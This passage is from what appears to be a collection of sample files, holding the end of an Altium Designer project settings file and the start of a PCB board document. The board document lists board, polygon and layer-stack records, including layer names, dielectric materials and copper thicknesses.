Reference\r\nMatchStrictly2=1\r\nPhysicalNamingFormat=$Component_$RoomName\r\nGlobalIndexSortOrder=3\r\nGlobalIndexSortLocation=0\r\n\r\n[PrjClassGen]\r\nCompClassManualEnabled=0\r\nCompClassManualRoomEnabled=0\r\nNetClassAutoBusEnabled=1\r\nNetClassAutoCompEnabled=0\r\nNetClassAutoNamedHarnessEnabled=0\r\nNetClassManualEnabled=1\r\nNetClassSeparateForBusSections=0\r\n\r\n[LibraryUpdateOptions]\r\nSelectedOnly=0\r\nUpdateVariants=1\r\nPartTypes=0\r\nFullReplace=1\r\nUpdateDesignatorLock=1\r\nUpdatePartIDLock=1\r\nPreserveParameterLocations=1\r\nPreserveParameterVisibility=1\r\nDoGraphics=1\r\nDoParameters=1\r\nDoModels=1\r\nAddParameters=0\r\nRemoveParameters=0\r\nAddModels=1\r\nRemoveModels=1\r\nUpdateCurrentModels=1\r\n\r\n[DatabaseUpdateOptions]\r\nSelectedOnly=0\r\nUpdateVariants=1\r\nPartTypes=0\r\n\r\n[Comparison Options]\r\nComparisonOptions0=Kind=Net|MinPercent=75|MinMatch=3|ShowMatch=-1|Confirm=-1|UseName=-1|InclAllRules=0\r\nComparisonOptions1=Kind=Net Class|MinPercent=75|MinMatch=3|ShowMatch=-1|Confirm=-1|UseName=-1|InclAllRules=0\r\nComparisonOptions2=Kind=Component Class|MinPercent=75|MinMatch=3|ShowMatch=-1|Confirm=-1|UseName=-1|InclAllRules=0\r\nComparisonOptions3=Kind=Rule|MinPercent=75|MinMatch=3|ShowMatch=-1|Confirm=-1|UseName=-1|InclAllRules=0\r\nComparisonOptions4=Kind=Differential Pair|MinPercent=50|MinMatch=1|ShowMatch=0|Confirm=0|UseName=0|InclAllRules=0\r\nComparisonOptions5=Kind=Structure Class|MinPercent=75|MinMatch=3|ShowMatch=-1|Confirm=-1|UseName=-1|InclAllRules=0\r\n\r\n[SmartPDF]\r\nPageOptions=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\n\r\n"
  },
  {
    "path": "samples/Altium Designer/Sample Board Design.PcbDoc",
    "content": "|RECORD=Board|SELECTION=FALSE|LAYER=UNKNOWN|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|FILENAME=D:\\Desktop\\Linguist Sample\\Sample Board Design.$$$|KIND=Protel_Advanced_PCB|VERSION=5.01|DATE=5/27/2019|TIME=10:46:59 PM|ORIGINX=0mil|ORIGINY=0mil|BIGVISIBLEGRIDSIZE=0.000|VISIBLEGRIDSIZE=0.000|ELECTRICALGRIDRANGE=8mil|ELECTRICALGRIDENABLED=TRUE|SNAPGRIDSIZE=98425.196850|SNAPGRIDSIZEX=98425.196850|SNAPGRIDSIZEY=98425.196850|TRACKGRIDSIZE=200000.000000|VIAGRIDSIZE=200000.000000|COMPONENTGRIDSIZE=98425.196850|COMPONENTGRIDSIZEX=98425.196850|COMPONENTGRIDSIZEY=98425.196850|DOTGRID=TRUE|DISPLAYUNIT=0|DESIGNATORDISPLAYMODE=0|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|PRIMITIVELOCK=TRUE|POLYGONTYPE=Polygon|POUROVER=FALSE|REMOVEDEAD=FALSE|GRIDSIZE=10mil|TRACKWIDTH=10mil|HATCHSTYLE=None|USEOCTAGONS=FALSE|MINPRIMLENGTH=3mil|KIND0=0|VX0=0mil|VY0=0mil|CX0=0mil|CY0=0mil|SA0= 0.00000000000000E+0000|EA0= 0.00000000000000E+0000|R0=0mil|KIND1=0|VX1=330.7087mil|VY1=0mil|CX1=0mil|CY1=0mil|SA1= 0.00000000000000E+0000|EA1= 0.00000000000000E+0000|R1=0mil|KIND2=0|VX2=330.7087mil|VY2=389.7638mil|CX2=0mil|CY2=0mil|SA2= 0.00000000000000E+0000|EA2= 0.00000000000000E+0000|R2=0mil|KIND3=0|VX3=0mil|VY3=389.7638mil|CX3=0mil|CY3=0mil|SA3= 0.00000000000000E+0000|EA3= 0.00000000000000E+0000|R3=0mil|KIND4=0|VX4=0mil|VY4=0mil|CX4=0mil|CY4=0mil|SA4= 0.00000000000000E+0000|EA4= 0.00000000000000E+0000|R4=0mil|SHELVED=FALSE|RESTORELAYER=UNKNOWN|RESTORENET=|REMOVEISLANDSBYAREA=TRUE|REMOVENECKS=TRUE|AREATHRESHOLD=250000000000.000000|ARCRESOLUTION=0.5mil|NECKWIDTHTHRESHOLD=5mil|POUROVERSTYLE=2|NAME=|POURINDEX=-1|IGNOREVIOLATIONS=FALSE|SPLITLINECOUNT=0|SHEETX=1000mil|SHEETY=1000mil|SHEETWIDTH=10000mil|SHEETHEIGHT=8000mil|SHOWSHEET=FALSE|LOCKSHEET=TRUE|PLANE1NETNAME=(No Net)|PLANE2NETNAME=(No Net)|PLANE3NETNAME=(No Net)|PLANE4NETNAME=(No Net)|PLANE5NETNAME=(No Net)|PLANE6NETNAME=(No Net)|PLANE7NETNAME=(No Net)|PLANE8NETNAME=(No Net)|PLANE9NETNAME=(No Net)|PLANE10NETNAME=(No Net)|PLANE11NETNAME=(No Net)|PLANE12NETNAME=(No Net)|PLANE13NETNAME=(No Net)|PLANE14NETNAME=(No Net)|PLANE15NETNAME=(No Net)|PLANE16NETNAME=(No Net)\r|RECORD=Board|V9_MASTERSTACK_STYLE=0|V9_MASTERSTACK_ID={6C6A7AEE-860E-42B8-A7B0-5A4F746E66B0}|V9_MASTERSTACK_NAME=Master layer stack|V9_MASTERSTACK_SHOWTOPDIELECTRIC=FALSE|V9_MASTERSTACK_SHOWBOTTOMDIELECTRIC=FALSE|V9_MASTERSTACK_ISFLEX=FALSE|V9_SUBSTACK0_ID={133D6234-F010-46C7-B390-43FBDD454A88}|V9_SUBSTACK0_NAME=Board Layer Stack|V9_SUBSTACK0_SHOWTOPDIELECTRIC=FALSE|V9_SUBSTACK0_SHOWBOTTOMDIELECTRIC=FALSE|V9_SUBSTACK0_ISFLEX=FALSE|V9_SUBSTACK0_SERVICE=FALSE|V9_SUBSTACK0_USEDBYPRIMS=FALSE|V9_SUBSTACK0_TYPE=1|V9_STACK_LAYER0_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_STACK_LAYER0_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_STACK_LAYER0_ID={30045540-1B4B-4001-AB64-318F70B47D5C}|V9_STACK_LAYER0_NAME=Top Paste|V9_STACK_LAYER0_LAYERID=16973832|V9_STACK_LAYER0_USEDBYPRIMS=FALSE|V9_STACK_LAYER1_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_STACK_LAYER1_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_STACK_LAYER1_ID={F22BABF4-3864-4478-9E30-F3A5F449D148}|V9_STACK_LAYER1_NAME=Top Overlay|V9_STACK_LAYER1_LAYERID=16973830|V9_STACK_LAYER1_USEDBYPRIMS=TRUE|V9_STACK_LAYER2_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_STACK_LAYER2_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_STACK_LAYER2_ID={5A303FD1-9A68-46E1-8805-901769ECECC7}|V9_STACK_LAYER2_NAME=Top Solder|V9_STACK_LAYER2_LAYERID=16973834|V9_STACK_LAYER2_USEDBYPRIMS=FALSE|V9_STACK_LAYER2_DIELTYPE=3|V9_STACK_LAYER2_DIELCONST=3.500|V9_STACK_LAYER2_DIELHEIGHT=0.4mil|V9_STACK_LAYER2_DIELMATERIAL=Solder Resist|V9_STACK_LAYER2_COVERLAY_EXPANSION=0mil|V9_STACK_LAYER3_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_STACK_LAYER3_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_STACK_LAYER3_ID={999DF18F-9048-469A-90BE-9E37DD83557B}|V9_STACK_LAYER3_NAME=Top Layer|V9_STACK_LAYER3_LAYERID=16777217|V9_STACK_LAYER3_USEDBYPRIMS=TRUE|V9_STACK_LAYER3_COPTHICK=1.4mil|V9_STACK_LAYER3_COMPONENTPLACEMENT=1|V9_STACK_LAYER4_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_STACK_LAYER4_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_STACK_LAYER4_ID={02BF3CDA-3C8F-4FAD-9742-9D994AE02F07}|V9_STACK_LAYER4_NAME=Dielectric 1|V9_STACK_LAYER4_LAYERID=17039361|V9_STACK_LAYER4_USEDBYPRIMS=FALSE|V9_STACK_LAYER4_DIELTYPE=0|V9_STACK_LAYER4_DIELCONST=4.800|V9_STACK_LAYER4_DIELHEIGHT=12.6mil|V9_STACK_LAYER4_DIELMATERIAL=FR-4|V9_STACK_LAYER5_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_STACK_LAYER5_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_STACK_LAYER5_ID={9A0521B6-9E50-4E7C-A183-D2BA2C61636A}|V9_STACK_LAYER5_NAME=Bottom Layer|V9_STACK_LAYER5_LAYERID=16842751|V9_STACK_LAYER5_USEDBYPRIMS=TRUE|V9_STACK_LAYER5_COPTHICK=1.4mil|V9_STACK_LAYER5_COMPONENTPLACEMENT=2|V9_STACK_LAYER6_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_STACK_LAYER6_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_STACK_LAYER6_ID={6089F658-C6F8-45EF-ADE9-00844D259BA3}|V9_STACK_LAYER6_NAME=Bottom Solder|V9_STACK_LAYER6_LAYERID=16973835|V9_STACK_LAYER6_USEDBYPRIMS=FALSE|V9_STACK_LAYER6_DIELTYPE=3|V9_STACK_LAYER6_DIELCONST=3.500|V9_STACK_LAYER6_DIELHEIGHT=0.4mil|V9_STACK_LAYER6_DIELMATERIAL=Solder Resist|V9_STACK_LAYER6_COVERLAY_EXPANSION=0mil|V9_STACK_LAYER7_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_STACK_LAYER7_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_STACK_LAYER7_ID={F336B23E-1435-4733-9ED3-34BDF2531FBF}|V9_STACK_LAYER7_NAME=Bottom Overlay|V9_STACK_LAYER7_LAYERID=16973831|V9_STACK_LAYER7_USEDBYPRIMS=FALSE|V9_STACK_LAYER8_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_STACK_LAYER8_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_STACK_LAYER8_ID={70A911C0-2DEF-47D0-84F8-E68892450F49}|V9_STACK_LAYER8_NAME=Bottom Paste|V9_STACK_LAYER8_LAYERID=16973833|V9_STACK_LAYER8_USEDBYPRIMS=FALSE|V9_CACHE_LAYER0_ID={5BD60229-8864-48D1-A8EB-95399348CB16}|V9_CACHE_LAYER0_NAME=Multi-Layer|V9_CACHE_LAYER0_LAYERID=16973839|V9_CACHE_LAYER0_USEDBYPRIMS=TRUE|V9_CACHE_LAYER1_ID={8070A95E-9307-4315-AEB7-3279CE2E13B1}|V9_CACHE_LAYER1_NAME=Connections|V9_CACHE_LAYER1_LAYERID=16973840|V9_CACHE_LAYER1_USEDBYPRIMS=FALSE|V9_CACHE_LAYER2_ID={7EB5AEF4-1A76-41D4-9E03-30A4837CD13B}|V9_CACHE_LAYER2_NAME=Background|V9_CACHE_LAYER2_LAYERID=16973841|V9_CACHE_LAYER2_USEDBYPRIMS=FALSE|V9_CACHE_LAYER3_ID={8102A625-DB52-4B32-89F5-EBC69CA6A514}|V9_CACHE_LAYER3_NAME=DRC Error Markers|V9_CACHE_LAYER3_LAYERID=16973842|V9_CACHE_LAYER3_USEDBYPRIMS=TRUE|V9_CACHE_LAYER4_ID={206DC379-9404-4C98-9A1A-8266C349DD4D}|V9_CACHE_LAYER4_NAME=DRC Detail Markers|V9_CACHE_LAYER4_LAYERID=16973850|V9_CACHE_LAYER4_USEDBYPRIMS=FALSE|V9_CACHE_LAYER5_ID={AA18D623-7F09-4267-BB86-AB16641CF2C7}|V9_CACHE_LAYER5_NAME=Selections|V9_CACHE_LAYER5_LAYERID=16973843|V9_CACHE_LAYER5_USEDBYPRIMS=FALSE|V9_CACHE_LAYER6_ID={C29197C8-F94E-4FA2-9DF0-092BF0692FD2}|V9_CACHE_LAYER6_NAME=Visible Grid 1|V9_CACHE_LAYER6_LAYERID=16973844|V9_CACHE_LAYER6_USEDBYPRIMS=FALSE|V9_CACHE_LAYER7_ID={CBB6B9C8-7C09-4943-BDF2-93A59B98F4D9}|V9_CACHE_LAYER7_NAME=Visible Grid 2|V9_CACHE_LAYER7_LAYERID=16973845|V9_CACHE_LAYER7_USEDBYPRIMS=FALSE|V9_CACHE_LAYER8_ID={DA4EDDDD-E049-49D0-BC05-78F97F6745B8}|V9_CACHE_LAYER8_NAME=Pad Holes|V9_CACHE_LAYER8_LAYERID=16973846|V9_CACHE_LAYER8_USEDBYPRIMS=FALSE|V9_CACHE_LAYER9_ID={A1D1422F-3445-48C1-AC9E-19016BB49E01}|V9_CACHE_LAYER9_NAME=Via Holes|V9_CACHE_LAYER9_LAYERID=16973847|V9_CACHE_LAYER9_USEDBYPRIMS=FALSE|V9_CACHE_LAYER10_ID={BD19B618-ECCD-4B7D-9162-6DD6573F7C3A}|V9_CACHE_LAYER10_NAME=Top Pad Master|V9_CACHE_LAYER10_LAYERID=16973848|V9_CACHE_LAYER10_USEDBYPRIMS=FALSE|V9_CACHE_LAYER11_ID={8FDE5189-A9FB-4D7C-9FC7-48B4DD5C87EE}|V9_CACHE_LAYER11_NAME=Bottom Pad Master|V9_CACHE_LAYER11_LAYERID=16973849|V9_CACHE_LAYER11_USEDBYPRIMS=FALSE|V9_CACHE_LAYER12_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_CACHE_LAYER12_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_CACHE_LAYER12_ID={30045540-1B4B-4001-AB64-318F70B47D5C}|V9_CACHE_LAYER12_NAME=Top Paste|V9_CACHE_LAYER12_LAYERID=16973832|V9_CACHE_LAYER12_USEDBYPRIMS=FALSE|V9_CACHE_LAYER13_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_CACHE_LAYER13_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_CACHE_LAYER13_ID={F22BABF4-3864-4478-9E30-F3A5F449D148}|V9_CACHE_LAYER13_NAME=Top Overlay|V9_CACHE_LAYER13_LAYERID=16973830|V9_CACHE_LAYER13_USEDBYPRIMS=TRUE|V9_CACHE_LAYER14_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_CACHE_LAYER14_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_CACHE_LAYER14_ID={5A303FD1-9A68-46E1-8805-901769ECECC7}|V9_CACHE_LAYER14_NAME=Top Solder|V9_CACHE_LAYER14_LAYERID=16973834|V9_CACHE_LAYER14_USEDBYPRIMS=FALSE|V9_CACHE_LAYER14_DIELTYPE=3|V9_CACHE_LAYER14_DIELCONST=3.500|V9_CACHE_LAYER14_DIELHEIGHT=0.4mil|V9_CACHE_LAYER14_DIELMATERIAL=Solder Resist|V9_CACHE_LAYER14_COVERLAY_EXPANSION=0mil|V9_CACHE_LAYER15_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_CACHE_LAYER15_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_CACHE_LAYER15_ID={999DF18F-9048-469A-90BE-9E37DD83557B}|V9_CACHE_LAYER15_NAME=Top Layer|V9_CACHE_LAYER15_LAYERID=16777217|V9_CACHE_LAYER15_USEDBYPRIMS=TRUE|V9_CACHE_LAYER15_COPTHICK=1.4mil|V9_CACHE_LAYER15_COMPONENTPLACEMENT=1|V9_CACHE_LAYER16_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_CACHE_LAYER16_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_CACHE_LAYER16_ID={02BF3CDA-3C8F-4FAD-9742-9D994AE02F07}|V9_CACHE_LAYER16_NAME=Dielectric 1|V9_CACHE_LAYER16_LAYERID=17039361|V9_CACHE_LAYER16_USEDBYPRIMS=FALSE|V9_CACHE_LAYER16_DIELTYPE=0|V9_CACHE_LAYER16_DIELCONST=4.800|V9_CACHE_LAYER16_DIELHEIGHT=12.6mil|V9_CACHE_LAYER16_DIELMATERIAL=FR-4|V9_CACHE_LAYER17_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_CACHE_LAYER17_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_CACHE_LAYER17_ID={9A0521B6-9E50-4E7C-A183-D2BA2C61636A}|V9_CACHE_LAYER17_NAME=Bottom Layer|V9_CACHE_LAYER17_LAYERID=16842751|V9_CACHE_LAYER17_USEDBYPRIMS=TRUE|V9_CACHE_LAYER17_COPTHICK=1.4mil|V9_CACHE_LAYER17_COMPONENTPLACEMENT=2|V9_CACHE_LAYER18_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_CACHE_LAYER18_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_CACHE_LAYER18_ID={6089F658-C6F8-45EF-ADE9-00844D259BA3}|V9_CACHE_LAYER18_NAME=Bottom Solder|V9_CACHE_LAYER18_LAYERID=16973835|V9_CACHE_LAYER18_USEDBYPRIMS=FALSE|V9_CACHE_LAYER18_DIELTYPE=3|V9_CACHE_LAYER18_DIELCONST=3.500|V9_CACHE_LAYER18_DIELHEIGHT=0.4mil|V9_CACHE_LAYER18_DIELMATERIAL=Solder Resist|V9_CACHE_LAYER18_COVERLAY_EXPANSION=0mil|V9_CACHE_LAYER19_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_CACHE_LAYER19_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_CACHE_LAYER19_ID={F336B23E-1435-4733-9ED3-34BDF2531FBF}|V9_CACHE_LAYER19_NAME=Bottom Overlay|V9_CACHE_LAYER19_LAYERID=16973831|V9_CACHE_LAYER19_USEDBYPRIMS=FALSE|V9_CACHE_LAYER20_{133D6234-F010-46C7-B390-43FBDD454A88}CONTEXT=0|V9_CACHE_LAYER20_{133D6234-F010-46C7-B390-43FBDD454A88}USEDBYPRIMS=FALSE|V9_CACHE_LAYER20_ID={70A911C0-2DEF-47D0-84F8-E68892450F49}|V9_CACHE_LAYER20_NAME=Bottom Paste|V9_CACHE_LAYER20_LAYERID=16973833|V9_CACHE_LAYER20_USEDBYPRIMS=FALSE|V9_CACHE_LAYER21_ID={FE59785D-26D8-4FD6-B923-E760F7F077E3}|V9_CACHE_LAYER21_NAME=Mid-Layer 1|V9_CACHE_LAYER21_LAYERID=16777218|V9_CACHE_LAYER21_USEDBYPRIMS=FALSE|V9_CACHE_LAYER21_COPTHICK=1.4mil|V9_CACHE_LAYER21_COMPONENTPLACEMENT=0|V9_CACHE_LAYER22_ID={B0C8A7B9-8B54-4389-A841-FCF491AD93FD}|V9_CACHE_LAYER22_NAME=Mid-Layer 2|V9_CACHE_LAYER22_LAYERID=16777219|V9_CACHE_LAYER22_USEDBYPRIMS=FALSE|V9_CACHE_LAYER22_COPTHICK=1.4mil|V9_CACHE_LAYER22_COMPONENTPLACEMENT=0|V9_CACHE_LAYER23_ID={425D6245-4319-4AB4-8614-AA98CB532EFA}|V9_CACHE_LAYER23_NAME=Mid-Layer 3|V9_CACHE_LAYER23_LAYERID=16777220|V9_CACHE_LAYER23_USEDBYPRIMS=FALSE|V9_CACHE_LAYER23_COPTHICK=1.4mil|V9_CACHE_LAYER23_COMPONENTPLACEMENT=0|V9_CACHE_LAYER24_ID={0AD325F0-8A84-4540-A49A-ADFC2AE92297}|V9_CACHE_LAYER24_NAME=Mid-Layer 4|V9_CACHE_LAYER24_LAYERID=16777221|V9_CACHE_LAYER24_USEDBYPRIMS=FALSE|V9_CACHE_LAYER24_COPTHICK=1.4mil|V9_CACHE_LAYER24_COMPONENTPLACEMENT=0|V9_CACHE_LAYER25_ID={C0E851CA-CB15-4CAF-BAF8-31735E1371C2}|V9_CACHE_LAYER25_NAME=Mid-Layer 5|V9_CACHE_LAYER25_LAYERID=16777222|V9_CACHE_LAYER25_USEDBYPRIMS=FALSE|V9_CACHE_LAYER25_COPTHICK=1.4mil|V9_CACHE_LAYER25_COMPONENTPLACEMENT=0|V9_CACHE_LAYER26_ID={7BA573E3-F861-4805-B48E-6D01299949CD}|V9_CACHE_LAYER26_NAME=Mid-Layer 6|V9_CACHE_LAYER26_LAYERID=16777223|V9_CACHE_LAYER26_USEDBYPRIMS=FALSE|V9_CACHE_LAYER26_COPTHICK=1.4mil|V9_CACHE_LAYER26_COMPONENTPLACEMENT=0|V9_CACHE_LAYER27_ID={9872A474-005C-4AF4-9195-DF6C1E9663CF}|V9_CACHE_LAYER27_NAME=Mid-Layer 7|V9_CACHE_LAYER27_LAYERID=16777224|V9_CACHE_LAYER27_USEDBYPRIMS=FALSE|V9_CACHE_LAYER27_COPTHICK=1.4mil|V9_CACHE_LAYER27_COMPONENTPLACEMENT=0|V9_CACHE_LAYER28_ID={D6FE3646-74C7-4732-BEFC-A1A71FFD6EFB}|V9_CACHE_LAYER28_NAME=Mid-Layer 8|V9_CACHE_LAYER28_LAYERID=16777225|V9_CACHE_LAYER28_USEDBYPRIMS=FALSE|V9_CACHE_LAYER28_COPTHICK=1.4mil|V9_CACHE_LAYER28_COMPONENTPLACEMENT=0|V9_CACHE_LAYER29_ID={0C288C20-EE2F-482D-98BD-2981EAB84ADE}|V9_CACHE_LAYER29_NAME=Mid-Layer 9|V9_CACHE_LAYER29_LAYERID=16777226|V9_CACHE_LAYER29_USEDBYPRIMS=FALSE|V9_CACHE_LAYER29_COPTHICK=1.4mil|V9_CACHE_LAYER29_COMPONENTPLACEMENT=0|V9_CACHE_LAYER30_ID={6E1DA2A7-C5C0-4C15-8F1F-5492BA456154}|V9_CACHE_LAYER30_NAME=Mid-Layer 10|V9_CACHE_LAYER30_LAYERID=16777227|V9_CACHE_LAYER30_USEDBYPRIMS=FALSE|V9_CACHE_LAYER30_COPTHICK=1.4mil|V9_CACHE_LAYER30_COMPONENTPLACEMENT=0|V9_CACHE_LAYER31_ID={7557039F-9350-46D3-85B3-328DD54F3010}|V9_CACHE_LAYER31_NAME=Mid-Layer 11|V9_CACHE_LAYER31_LAYERID=16777228|V9_CACHE_LAYER31_USEDBYPRIMS=FALSE|V9_CACHE_LAYER31_COPTHICK=1.4mil|V9_CACHE_LAYER31_COMPONENTPLACEMENT=0|V9_CACHE_LAYER32_ID={2FA3D2A7-96C4-4CA5-B4C6-4835F532132F}|V9_CACHE_LAYER32_NAME=Mid-Layer 12|V9_CACHE_LAYER32_LAYERID=16777229|V9_CACHE_LAYER32_USEDBYPRIMS=FALSE|V9_CACHE_LAYER32_COPTHICK=1.4mil|V9_CACHE_LAYER32_COMPONENTPLACEMENT=0|V9_CACHE_LAYER33_ID={4F3AAE13-5C33-4962-A4BD-410E06716A9B}|V9_CACHE_LAYER33_NAME=Mid-Layer 13|V9_CACHE_LAYER33_LAYERID=16777230|V9_CACHE_LAYER33_USEDBYPRIMS=FALSE|V9_CACHE_LAYER33_COPTHICK=1.4mil|V9_CACHE_LAYER33_COMPONENTPLACEMENT=0|V9_CACHE_LAYER34_ID={DF005CB7-AEB9-40B7-88B5-7C47D5421206}|V9_CACHE_LAYER34_NAME=Mid-Layer 14|V9_CACHE_LAYER34_LAYERID=16777231|V9_CACHE_LAYER34_USEDBYPRIMS=FALSE|V9_CACHE_LAYER34_COPTHICK=1.4mil|V9_CACHE_LAYER34_COMPONENTPLACEMENT=0|V9_CACHE_LAYER35_ID={BA6246ED-D159-436E-9961-C289601CCAEB}|V9_CACHE_LAYER35_NAME=Mid-Layer 15|V9_CACHE_LAYER35_LAYERID=16777232|V9_CACHE_LAYER35_USEDBYPRIMS=FALSE|V9_CACHE_LAYER35_COPTHICK=1.4mil|V9_CACHE_LAYER35_COMPONENTPLACEMENT=0|V9_CACHE_LAYER36_ID={884F51EC-C10B-4E0E-9F10-7178C5BEA158}|V9_CACHE_LAYER36_NAME=Mid-Layer 16|V9_CACHE_LAYER36_LAYERID=16777233|V9_CACHE_LAYER36_USEDBYPRIMS=FALSE|V9_CACHE_LAYER36_COPTHICK=1.4mil|V9_CACHE_LAYER36_COMPONENTPLACEMENT=0|V9_CACHE_LAYER37_ID={C97B070E-3AC3-43EC-BBED-D1C9E10CF01A}|V9_CACHE_LAYER37_NAME=Mid-Layer 17|V9_CACHE_LAYER37_LAYERID=16777234|V9_CACHE_LAYER37_USEDBYPRIMS=FALSE|V9_CACHE_LAYER37_COPTHICK=1.4mil|V9_CACHE_LAYER37_COMPONENTPLACEMENT=0|V9_CACHE_LAYER38_ID={8F233F1D-30DA-4370-AF8E-AFA361677EBC}|V9_CACHE_LAYER38_NAME=Mid-Layer 18|V9_CACHE_LAYER38_LAYERID=16777235|V9_CACHE_LAYER38_USEDBYPRIMS=FALSE|V9_CACHE_LAYER38_COPTHICK=1.4mil|V9_CACHE_LAYER38_COMPONENTPLACEMENT=0|V9_CACHE_LAYER39_ID={A98C67CA-F66D-48B8-BEAA-12A947FFC829}|V9_CACHE_LAYER39_NAME=Mid-Layer 19|V9_CACHE_LAYER39_LAYERID=16777236|V9_CACHE_LAYER39_USEDBYPRIMS=FALSE|V9_CACHE_LAYER39_COPTHICK=1.4mil|V9_CACHE_LAYER39_COMPONENTPLACEMENT=0|V9_CACHE_LAYER40_ID={C86B41A1-A82B-4A64-81A8-F1BEBDF19185}|V9_CACHE_LAYER40_NAME=Mid-Layer 20|V9_CACHE_LAYER40_LAYERID=16777237|V9_CACHE_LAYER40_USEDBYPRIMS=FALSE|V9_CACHE_LAYER40_COPTHICK=1.4mil|V9_CACHE_LAYER40_COMPONENTPLACEMENT=0|V9_CACHE_LAYER41_ID={073E8AA8-51D1-4FA5-A4F6-07C834C5BD68}|V9_CACHE_LAYER41_NAME=Mid-Layer 21|V9_CACHE_LAYER41_LAYERID=16777238|V9_CACHE_LAYER41_USEDBYPRIMS=FALSE|V9_CACHE_LAYER41_COPTHICK=1.4mil|V9_CACHE_LAYER41_COMPONENTPLACEMENT=0|V9_CACHE_LAYER42_ID={3469A2DB-6E8A-41D8-BBE4-1941439DD254}|V9_CACHE_LAYER42_NAME=Mid-Layer 22|V9_CACHE_LAYER42_LAYERID=16777239|V9_CACHE_LAYER42_USEDBYPRIMS=FALSE|V9_CACHE_LAYER42_COPTHICK=1.4mil|V9_CACHE_LAYER42_COMPONENTPLACEMENT=0|V9_CACHE_LAYER43_ID={E620026E-8B05-4425-BAFB-A63ADD97EA66}|V9_CACHE_LAYER43_NAME=Mid-Layer 23|V9_CACHE_LAYER43_LAYERID=16777240|V9_CACHE_LAYER43_USEDBYPRIMS=FALSE|V9_CACHE_LAYER43_COPTHICK=1.4mil|V9_CACHE_LAYER43_COMPONENTPLACEMENT=0|V9_CACHE_LAYER44_ID={610DCC7E-6579-4EDF-BA03-A21F0A7F978F}|V9_CACHE_LAYER44_NAME=Mid-Layer 24|V9_CACHE_LAYER44_LAYERID=16777241|V9_CACHE_LAYER44_USEDBYPRIMS=FALSE|V9_CACHE_LAYER44_COPTHICK=1.4mil|V9_CACHE_LAYER44_COMPONENTPLACEMENT=0|V9_CACHE_LAYER45_ID={25AE0E36-F60E-45BF-B68F-00153072BC51}|V9_CACHE_LAYER45_NAME=Mid-Layer 25|V9_CACHE_LAYER45_LAYERID=16777242|V9_CACHE_LAYER45_USEDBYPRIMS=FALSE|V9_CACHE_LAYER45_COPTHICK=1.4mil|V9_CACHE_LAYER45_COMPONENTPLACEMENT=0|V9_CACHE_LAYER46_ID={552282B8-6B39-4316-926F-5BBCC34132E3}|V9_CACHE_LAYER46_NAME=Mid-Layer 26|V9_CACHE_LAYER46_LAYERID=16777243|V9_CACHE_LAYER46_USEDBYPRIMS=FALSE|V9_CACHE_LAYER46_COPTHICK=1.4mil|V9_CACHE_LAYER46_COMPONENTPLACEMENT=0|V9_CACHE_LAYER47_ID={E6E5285E-3B16-45CE-B153-3BE844CAA0CD}|V9_CACHE_LAYER47_NAME=Mid-Layer 27|V9_CACHE_LAYER47_LAYERID=16777244|V9_CACHE_LAYER47_USEDBYPRIMS=FALSE|V9_CACHE_LAYER47_COPTHICK=1.4mil|V9_CACHE_LAYER47_COMPONENTPLACEMENT=0|V9_CACHE_LAYER48_ID={BD313898-8ED6-41BA-B16B-564E39EB40BF}|V9_CACHE_LAYER48_NAME=Mid-Layer 